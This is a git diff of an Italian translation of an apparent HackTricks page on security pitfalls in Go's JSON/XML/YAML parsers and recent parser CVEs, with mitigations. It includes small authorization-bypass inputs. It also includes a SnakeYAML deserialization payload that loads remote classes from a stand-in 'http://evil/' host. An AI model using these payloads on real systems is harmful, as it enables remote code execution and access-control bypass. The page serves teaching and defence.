Translated ['src/pentesting-web/json-xml-yaml-hacking.md'] to it

This commit is contained in:
Translator 2025-08-04 20:32:48 +00:00
parent 67321cc096
commit 8a49853180

View File

@ -6,7 +6,8 @@
I seguenti problemi sono stati rilevati nel Go JSON anche se potrebbero essere presenti in altre lingue. Questi problemi sono stati pubblicati in [**questo post del blog**](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/).
I parser JSON, XML e YAML di Go hanno una lunga serie di incoerenze e impostazioni predefinite insicure che possono essere sfruttate per **bypassare l'autenticazione**, **escalare privilegi** o **esfiltrare dati sensibili**.
I parser JSON, XML e YAML di Go hanno una lunga serie di incoerenze e impostazioni predefinite insicure che possono essere sfruttate per **bypassare l'autenticazione**, **escalare i privilegi** o **esfiltrare dati sensibili**.
### (Un)Marshaling Unexpected Data
@ -73,7 +74,7 @@ Anche i trucchi Unicode funzionano:
```go
json.Unmarshal([]byte(`{"ationſ": "bypass"}`), &req)
```
**3. Mismatch tra servizi:**
**3. Disallineamento tra servizi:**
Immagina:
- Proxy scritto in Go
- Servizio AuthZ scritto in Python
@ -108,21 +109,57 @@ Il parser XML di Go lo ha analizzato **comunque** e ha fidato l'identità iniett
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}
```
Risultato:
- **Go JSON** parser: `Action_2` (non sensibile al maiuscolo + ultimo vince)
- **YAML** parser: `Action_1` (sensibile al maiuscolo)
- **XML** parser: analizza `"Action_3"` all'interno della stringa
- **Go JSON** parser: `Action_2` (case-insensitive + last wins)
- **YAML** parser: `Action_1` (case-sensitive)
- **XML** parser: parses `"Action_3"` inside the string
---
### 🔐 Mitigazioni
## Vulnerabilità Notabili dei Parser (2023-2025)
| Rischio | Soluzione |
|-----------------------------|---------------------------------------|
| Campi sconosciuti | `decoder.DisallowUnknownFields()` |
| Campi duplicati (JSON) | ❌ Nessuna soluzione nella stdlib |
| Corrispondenza non sensibile al maiuscolo | ❌ Nessuna soluzione nella stdlib |
| Dati spazzatura XML | ❌ Nessuna soluzione nella stdlib |
| YAML: chiavi sconosciute | `yaml.KnownFields(true)` |
> I seguenti problemi pubblicamente sfruttabili mostrano che il parsing insicuro è un problema multi-linguaggio — non solo un problema di Go.
### RCE da Deserializzazione SnakeYAML (CVE-2022-1471)
* Colpisce: `org.yaml:snakeyaml` < **2.0** (utilizzato da Spring-Boot, Jenkins, ecc.).
* Causa principale: `new Constructor()` deserializza **classi Java arbitrarie**, consentendo catene di gadget che culminano nell'esecuzione di codice remoto.
* One-liner PoC (aprirà la calcolatrice sull'host vulnerabile):
```yaml
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
```
* Correzione / Mitigazione:
1. **Aggiorna a ≥2.0** (usa `SafeLoader` per impostazione predefinita).
2. Nelle versioni precedenti, usa esplicitamente `new Yaml(new SafeConstructor())`.
### libyaml Double-Free (CVE-2024-35325)
* Riguarda: `libyaml` ≤0.2.5 (libreria C sfruttata da molti binding di linguaggi).
* Problema: Chiamare `yaml_event_delete()` due volte porta a un double-free che gli attaccanti possono trasformare in DoS o, in alcuni scenari, sfruttamento dell'heap.
* Stato: Rifiutato upstream come “uso improprio dell'API”, ma le distribuzioni Linux hanno fornito una patch **0.2.6** che annulla difensivamente il puntatore.
### RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)
* Riguarda: Tencent **RapidJSON** prima del commit `8269bc2` (<1.1.0-patch-22).
* Bug: In `GenericReader::ParseNumber()` l'aritmetica non controllata consente agli attaccanti di creare enormi letterali numerici che si avvolgono e corrompono l'heap — abilitando infine l'escalation dei privilegi quando il grafo degli oggetti risultante viene utilizzato per decisioni di autorizzazione.
---
### 🔐 Mitigazioni (Aggiornato)
| Rischio | Correzione / Raccomandazione |
|-------------------------------------|-------------------------------------------------------------|
| Campi sconosciuti (JSON) | `decoder.DisallowUnknownFields()` |
| Campi duplicati (JSON) | ❌ Nessuna correzione nella stdlib — valida con [`jsoncheck`](https://github.com/dvsekhvalnov/johnny-five) |
| Corrispondenza case-insensitive (Go)| ❌ Nessuna correzione — valida i tag della struct + pre-canonicalizza l'input |
| Dati spazzatura XML / XXE | Usa un parser rinforzato (`encoding/xml` + `DisallowDTD`) |
| Chiavi sconosciute YAML | `yaml.KnownFields(true)` |
| **Deserializzazione YAML non sicura**| Usa SafeConstructor / aggiorna a SnakeYAML ≥2.0 |
| libyaml ≤0.2.5 double-free | Aggiorna a **0.2.6** o a una release patchata dalla distro |
| RapidJSON <commit patchato | Compila contro l'ultima versione di RapidJSON (Luglio 2024) |
## Riferimenti
- Baeldung “Risoluzione di CVE-2022-1471 con SnakeYAML 2.0”
- Ubuntu Security Tracker CVE-2024-35325 (libyaml)
{{#include ../banners/hacktricks-training.md}}